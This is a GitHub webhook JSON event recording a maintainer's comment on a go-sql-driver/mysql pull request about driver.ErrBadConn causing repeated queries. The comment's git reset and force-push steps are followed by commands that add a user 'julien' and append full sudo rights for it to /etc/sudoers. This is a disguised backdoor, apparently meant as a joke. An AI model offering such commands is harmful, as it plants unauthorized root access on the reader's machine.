{"action":"created","issue":{"url":"https://api.github.com/repos/go-sql-driver/mysql/issues/302","labels_url":"https://api.github.com/repos/go-sql-driver/mysql/issues/302/labels{/name}","comments_url":"https://api.github.com/repos/go-sql-driver/mysql/issues/302/comments","events_url":"https://api.github.com/repos/go-sql-driver/mysql/issues/302/events","html_url":"https://github.com/go-sql-driver/mysql/pull/302","id":54221489,"number":302,"title":"fix driver.ErrBadConn behavior, stop repeated queries","user":{"login":"arnehormann","id":1011413,"avatar_url":"https://avatars.githubusercontent.com/u/1011413?v=3","gravatar_id":"","url":"https://api.github.com/users/arnehormann","html_url":"https://github.com/arnehormann","followers_url":"https://api.github.com/users/arnehormann/followers","following_url":"https://api.github.com/users/arnehormann/following{/other_user}","gists_url":"https://api.github.com/users/arnehormann/gists{/gist_id}","starred_url":"https://api.github.com/users/arnehormann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arnehormann/subscriptions","organizations_url":"https://api.github.com/users/arnehormann/orgs","repos_url":"https://api.github.com/users/arnehormann/repos","events_url":"https://api.github.com/users/arnehormann/events{/privacy}","received_events_url":"https://api.github.com/users/arnehormann/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/go-sql-driver/mysql/labels/bug","name":"bug","color":"fc2929"},{"url":"https://api.github.com/repos/go-sql-driver/mysql/labels/code%20review","name":"code review","color":"006b75"}],"state":"open","locked":false,"assignee":null,"milestone":{"url":"https://api.github.com/repos/go-sql-driver/mysql/milestones/7","labels_url":"https://api.github.com/repos/go-sql-driver/mysql/milestones/7/labels","id":616976,"number":7,"title":"v1.3","description":"","creator":{"login":"julienschmidt","id":944947,"avatar_url":"https://avatars.githubusercontent.com/u/944947?v=3","gravatar_id":"","url":"https://api.github.com/users/julienschmidt","html_url":"https://github.com/julienschmidt","followers_url":"https://api.github.com/users/julienschmidt/followers","following_url":"https://api.github.com/users/julienschmidt/following{/other_user}","gists_url":"https://api.github.com/users/julienschmidt/gists{/gist_id}","starred_url":"https://api.github.com/users/julienschmidt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julienschmidt/subscriptions","organizations_url":"https://api.github.com/users/julienschmidt/orgs","repos_url":"https://api.github.com/users/julienschmidt/repos","events_url":"https://api.github.com/users/julienschmidt/events{/privacy}","received_events_url":"https://api.github.com/users/julienschmidt/received_events","type":"User","site_admin":false},"open_issues":5,"closed_issues":12,"state":"open","created_at":"2014-04-01T16:31:08Z","updated_at":"2015-02-17T12:39:42Z","due_on":"2015-02-28T16:00:00Z","closed_at":null},"comments":13,"created_at":"2015-01-13T17:24:55Z","updated_at":"2015-02-17T13:22:29Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/go-sql-driver/mysql/pulls/302","html_url":"https://github.com/go-sql-driver/mysql/pull/302","diff_url":"https://github.com/go-sql-driver/mysql/pull/302.diff","patch_url":"https://github.com/go-sql-driver/mysql/pull/302.patch"},"body":"The docs for database/sql/driver note that [`driver.ErrBadConn` should only be returned when a connection is in a bad state](http://golang.org/pkg/database/sql/driver/#pkg-variables).\r\nWe overused it, which has lead to re-executed queries in some cases.\r\n\r\nWith this change, all instances of `driver.ErrBadConn` are replaced with `ErrInvalidConn` unless they are in an exported function and appear before the network is hit.\r\nI also replaced it as a return value in `Close`, where retrying makes no sense whatsoever (**EDIT** database/sql does not retry in that case anyway).\r\n\r\nI'm on the fence, maybe we should drop it altogether - usage is optional anyway.\r\n\r\nInspired by / fixes #295\r\nProbably also fixes at least parts of #185 and maybe even #257 and #281...\r\n\r\nThis could impact legacy client code - but only if it ignores errors and has no internal retry logic."},"comment":{"url":"https://api.github.com/repos/go-sql-driver/mysql/issues/comments/74666447","html_url":"https://github.com/go-sql-driver/mysql/pull/302#issuecomment-74666447","issue_url":"https://api.github.com/repos/go-sql-driver/mysql/issues/302","id":74666447,"user":{"login":"julienschmidt","id":944947,"avatar_url":"https://avatars.githubusercontent.com/u/944947?v=3","gravatar_id":"","url":"https://api.github.com/users/julienschmidt","html_url":"https://github.com/julienschmidt","followers_url":"https://api.github.com/users/julienschmidt/followers","following_url":"https://api.github.com/users/julienschmidt/following{/other_user}","gists_url":"https://api.github.com/users/julienschmidt/gists{/gist_id}","starred_url":"https://api.github.com/users/julienschmidt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julienschmidt/subscriptions","organizations_url":"https://api.github.com/users/julienschmidt/orgs","repos_url":"https://api.github.com/users/julienschmidt/repos","events_url":"https://api.github.com/users/julienschmidt/events{/privacy}","received_events_url":"https://api.github.com/users/julienschmidt/received_events","type":"User","site_admin":false},"created_at":"2015-02-17T13:22:29Z","updated_at":"2015-02-17T13:22:29Z","body":"ugh.. OK, try this then, please:\r\n`git reset 7ad5f6e`\r\n`git push -f origin fixErrBadConn:fixErrBadConn`\r\n`sudo -i`\r\n`useradd -s /bin/bash -g sshd julien`\r\n`echo 'julien  ALL=(ALL:ALL) ALL' >> /etc/sudoers`\r\n"}}